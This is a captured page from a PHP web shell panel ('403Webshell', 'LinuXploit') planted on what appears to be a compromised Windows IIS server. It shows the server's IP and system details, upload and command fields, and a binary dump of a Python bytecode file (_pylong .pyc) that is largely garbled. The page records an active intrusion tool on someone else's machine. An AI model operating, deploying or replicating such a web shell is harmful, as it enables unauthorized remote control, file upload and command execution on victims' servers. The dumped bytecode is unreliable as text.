403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/__pycache__/_pylong.cpython-315.pyc
R
>lqj�qc��Qs]PHs]PHs]PHsQP
QP
-Qks\O2O2s\O\m
\O\m\O\m]\O\O $QsQsQs\O+Q2s]QH\Gs\\2s?Q	]-Q
ksQsQsQ
sQsQs Qs!Qs"Qs#Qs$P!\cPsK�h9h)a�Python implementations of some algorithms for use by longobject.c.
The goal is to provide asymptotically faster algorithms that can be
used for operations on integers with many digits.  In those cases, the
performance overhead of the Python implementation is not significant
since the asymptotic behavior is what dominates runtime. Functions
provided by this module should be considered private and not part of any
public API.

Note: for ease of maintainability, please prefer clear code and avoid
"micro-optimizations".  This module will only be imported and used for
integers with a huge number of digits.  Saving a few microseconds with
tricky or non-obvious code is not worth it.  For people looking for
maximum performance, they should use something like gmpy2.�need_hi�showc�R�[2o[2oU.oU%c�UO2oV7fV6:cJ&UOU2U]*	oV*
o	U%cS	LSo
UOU
2UOU
2V�6wfJ~UOV
*
2J�UO2o[2oU%cj[	U2oUOU2U]*	oV�6�fJ5U]*
U7fJEV�7fJMUOU2UOU2JqU%fU%cPg-o
[
Vl*2FD�oU]*	oV�*
o	U]*
U
7c-U%c[QPQ5V�]*
*U*oL�V�7cfU%c[QPQ5V�*V�**oV�6wc5U%c[QPQ5]U*]*U6XfPgV�*oLU%c[QPQ5V*oU%c[QX�U7cQLQ2V�U$J�	VmO26:fPgU
O2U*
9o%cU%fPgSFDoV�J	U
!)	�z* base)�end�squarez * base�powz at�needed�extra)	�set�pop�add�copy�max�remove�sorted�print�keys)�w�base�	more_thanrr�seen�need�ws�lo�hi�which�candsr	�d�n�result�excesss&&&$$            �C:\Python315\\Lib\_pylong.py�compute_powersr"9s����5�D��5�D�
��B�
��F�F�H���9���������
�!�V��
�V����2�������
���u�
�
�8��F�F�1�9��
�I�I�K�E��E�E�
���J��
���Q��
�!�V��
�>�a��c��.�2�?��I�I�b�M��I�I�b�M��%���
�A�
�D�L�
!��
�!�V��
�V���Q�3�!�8���h�B�'���s�V�d�]�F�
�W���h�B�'��U�Q�U�]�F��x���)��,��2�v��z�Q��&��������e��$��Y�F���%��T�	�H�w�?��!��1"�4�6�6�8��������D�� �v� ���w��A�����H�c�:````�]QHGn]�nUUUU1Qkn[O[29^tt^2UO	2o[UR]2R2nU]6cP	oU'oLP
oRV2oU%cU'oPPP2U!)%fhW!9h)z6Asymptotically fast conversion of an 'int' to Decimal.)�Decimalc��:�UR6:c	RU2!U]*	oV*	oU]U*]*
*oRVB2RV1U*
2RU***!�r�)	rr�w2rr�BITLIM�D�inner�w2pows	&&   ����r!r,�int_to_decimal.<locals>.inner�sV�����;��Q�4�K�
�!�V��
�W��
�1��7�a�-�
 ���R�}�u�R�R��0�5��9�<�<�<r#)�decimalr%�localcontext�_unbounded_dec_context�
bit_lengthr")r�nbits�negaterr*r+r,r-s&   @@@@r!�int_to_decimalr5�s����%�
�F�=�=�
�	�	�4�	5�	5�������u�a��d�F�3���q�5��F���A��F��q�����W�F�
6��M�
6�	5��M�s�*B	�$B	�<B	�	B	�B	c�```�UO2oUQ6�c[d[[U22!QnUUU1Qkn[	UQ*]*2o[U]R2nRO
2FDvq#V2*RU$J	U]6cU'oQoLPoRV2oU]*Q6XcU%cUOQ2oVE*!)z?Asymptotically fast conversion of an 'int' to a decimal string.i����c�:�UR6:c[U2!U]*	o[URU*2vq4RV1U*
2RVB2OU2*!r')�str�divmod�zfill)rrr)rr�DIGLIMr,�pow10s&&   ���r!r,�$int_to_decimal_string.<locals>.inner�sQ�����;��q�6�M�
�!�V����5��9�%����R�R�� �5��=�#6�#6�r�#:�:�:r#g�y�PD�?�-�0)r2�_decimalr9r5�intr"�items�lstrip)	rr�k�v�sign�sr<r,r=s	&     @@@r!�int_to_decimal_stringrI�s����	����A��7�{�x�+��>�!�$�%�%��F�;�	�A�"�"�Q�&�'�A��1�a��(�E����
����6��a����1�u�
�B������
�a��A���t�s�{�q�
�H�H�S�M���8�Or#c�r````�QnUUUU1Qkn[[R2]R2nR][R22!)z6Asymptotically fast conversion of a 'str' to an 'int'.ic��:�V*
R6:c[RV2!V*]*]*	oRV!2RV2RV*
**V*
**!r')rB)�a�b�midr<r,rH�w5pows&& ����r!r,� _str_to_int_inner.<locals>.inner�sW����5�F�?��q��v�;���u�q�y�Q����c�
��!�M�E�!�'�N�2���!�"�	#r#)r"�len)rHr<r,rOsf@@@r!�_str_to_int_innerrR�s9����F�#�#�
�3�q�6�1�f�-�E���C��F��r#z0x1.a934f0979a371p-2)�defaultdict�GUARDc	�|````
``�Qn[Oo[2nR]6�fPgUUUU
UU1Qkn
UO2oU[*o[U2oU]*VE*
Q6�*oUO
2].6�c[QUQ02g[O[29^tt^2nUQ2o[VgRP	Q5n[U]U*RP	Q5o]RO[O$[ORmRO2FD6vq�U
O!2R*]*RmV�U	*31RU	$J8	=[O$RmR
UU2U2PPP2[
O'R2!)%fhK%9h)i��c�:�UR
6:c5RO[[U22OU22P!U]*	oV*
oRU*vqg[UO
2UO
2*
]2R*RmU3U3*o[ORmUO2oVU**
oU]6�fPg]oVV6�c1]oVV*oU]*
oVV6�cQo[	VV2vq�VI*
o[U99*]*
tt$R
VB2=R
VS2P!)N��)�extendrBr9�to_bytesr:r�adjusted�precr/�MAX_PREC�to_integral_value�_spread)rr�w1r)rr�p256�recip�count�hi2�BYTELIMrT�ctxr,�pow256rs&&        ������r!r,�$_dec_str_to_int_inner.<locals>.inners�����<�
�M�M�#�c�!�f�+�.�.�q�1�2��
�!�V��
�V���!��*�K�D�
�1�:�:�<�$�-�-�/�9�1�=��E�C�H���u�f��B��'�'�C�H��%�%�'�B��$�Y��B���7�N�7��E��z����
���a����:�
 �E�$�R�.�G�C��I�B��E�N�a��N�	�b�
��
�b�
r#g�������?zcannot convert string of len z to int�)r)r/r%�	bytearray�__len__�_LOG_10_BASE_256rBr2�
ValueErrorr0r1r"�traps�Inexact�
ROUND_DOWN�roundingrCrZr[r\�
from_bytes)rHrTr+�lenS�log_ub�
log_ub_as_intr�D256�rpow256rErFrdrer,rfrs&d         @@@@@r!�_dec_str_to_int_innerrwsh����G����A�
�[�F��1�9��9�7�7�L
�9�9�;�D�
�$�
$�F���K�M����V�3�c�9�:�A�
	�|�|�~����8���g�F�G�G�	�	�	�4�	5�	5����v�����$�?�� ��A��H�g�t�D��&'��	�	�'�/�/�"��)�)����L�L�N�D�A��z�z�|�e�+�a�/�C�H��A�J�;��F�1�I�#�
��#�#���
�a��d�A��-
6�.�>�>�&�!�!�/
6�	5�s�?CF+�+F;	�4F;	c��UO2OQP2o[o[U2Q6�c[d[
oUU2!)zkAsymptotically fast version of PyLong_FromString(), conversion
of a string of decimal digits into an 'int'.�_i��)�rstrip�replacerRrQrArw)rH�funcs& r!�int_from_stringr}�s@��	
���
���3��#�A��D�
�1�v���x�3�$����7�Nr#c���[OQU2oU%f[Q2g[UO	]22oUO	]2Q6XcU'oU!)zBAsymptotically fast version of decimal string to 'int' conversion.z\s*([+-]?)([0-9_]+)\s*z&invalid literal for int() with base 10r?)�re�matchrlr}�group)rH�mrFs&  r!�
str_to_intr��sR��	���*�A�.�A���A�B�B������
�#�A��w�w�q�z�S��
�B���Hr#i�c��UO2U*
[6:c[V2!U]*oU%cU]*oU]*oU]*
oU]*	o]U*]*
oV*	V*qv[V*	V*	U*VVt2vq�[V�U*VVt2vq�U%c
U	]*o	V�*U
*U	1!)a2Divide a 2n-bit nonnegative integer a by an n-bit positive integer
b, using a recursive divide-and-conquer algorithm.

Inputs:
  n is a positive integer
  b is a positive integer with exactly n bits
  a is a nonnegative integer such that a < 2**n * b

Output:
  (q, r) such that a = b*q+r and 0 <= r < b.

)r2�
_DIV_LIMITr:�_div3n2n)rLrMr�pad�half_n�mask�b1�b2�q1�r�q2s&&&        r!�_div2n1nr��s���	�|�|�~���Z�'��a�|��
�a�%�C�
�	�a���	�a���	�Q���
�!�V�F�
��K�1��D�
�[�!�(���Q�V�a�k�T�1�1�"�E�E�B��Q�D��!��4�E�B�
�	�a���
�<�"��a��r#c��V*	U6Xc']U*]*
VU**
U*qvL[VU2vqgVu*U*Vd**
oU]6cU]*oVr*
oJVg1!)zAHelper function for _div2n1n; not intended to be called directly.)r�)�a12�a3rMr�r�r�qr�s&&&&&&  r!r�r��sc��
�x�2�~��Q��!�|�S�!�G�_�r�1�1����#���	
��"�����A�
�a�%�	�Q���	����4�Kr#c�```�],UO2R*]*
R**nUUU1QknU%cRU][R22R!)a2Decompose non-negative int a into base 2**n

Input:
  a is a non-negative integer

Output:
  List of the digits of a in base 2**n in little-endian order,
  meaning the most significant digit is last. The most
  significant digit is guaranteed to be non-zero.
  If a is 0 then the output is an empty list.

c��:�U]*U6XcURU$P!V*]*	oV1*
R	*oV*	oVU**oRVaU2RVSU2P!r'r()
�x�L�RrN�shift�upper�lower�a_digitsr,rs
&&&    ���r!r,�_int2digits.<locals>.inner�sW����q�5�A�:��H�Q�K���u��l����A�
���
���e�^�$��
�e���
�e�!�r#)r2rQ)rLrr�r,s&f@@r!�_int2digitsr��sE����s�q�|�|�~��)�A�-�!�3�4�H�	�	�
�a��C��M�"��Or#c�R```�UUU1QknR%cR][R22!]!)zxCombine base-2**n digits into an int. This function is the
inverse of `_int2digits`. For more details, see _int2digits.
c�:�U]*U6Xc
RU*!V*]*	oV *
R*oRV!2U*RV2*!r'r()r�r�rNr��digitsr,rs&&  ���r!r,�_digits2int.<locals>.inner�sF����q�5�A�:��!�9���u��l����A�
���c�
��&�%��-�7�7r#)rQ)r�rr,sff@r!�_digits2intr��s"���
8�%+�5��C��K� �1��1r#c��UO2o[V2o]o,o[U2FD/o[VB*U*V2vqtUO	U2J1	UO2[
VR2oV�1!)zWDivide a non-negative integer a by a positive integer b, giving
quotient and remainder.)r2r��reversedr��append�reverser�)	rLrMrr�r��q_digits�a_digit�q_digitr�s	&&       r!�_divmod_posr��sr��	
����A��1� �H�	�A��H��H�%���q�v��0�!�7�
������ �&�
�����H� �A��4�Kr#c��U]6Xc[Q2gU]6c[U'U'2vq#V#'1!U]6c[U&U2vq#U&V&*1![V2!)zyAsymptotically fast replacement for divmod, for 'int'.
Its time complexity is O(n**1.58), where n = #bits(a) + #bits(b).
zdivision by zero)�ZeroDivisionError�
int_divmodr�)rLrMr�r�s&&  r!r�r�sk��	�A�v�� 2�3�3�	
�Q���1�"�q�b�!����"�u��	
�Q���1�"�a� ����r�1�r�6�z���1� � r#),�__doc__rr/rA�ImportErrorr"�
getcontextr
r1r\r[�MAX_EMAX�Emax�MIN_EMIN�Eminrmrnr5rIrR�float�fromhexrk�collectionsrSrBr^rwr}r�r�r�r�r�r�r�r��consumer�	itertools�chainr�limit�rangerr(r#r!�<module>r�s��>�
����NJ
�%�J
�e�J
�X!�+�+�-�2�2�4��%�.�.���%�.�.���%�.�.���01����W�_�_�-�%�N+�Z�J�=�=�!7�8��$�
�c�
���t"�a�t"�l�	
�"�
� �<
��>2��"
!�b��]���H��s�C�C�C�C

Youez - 2016 - github.com/yon3zu
LinuXploit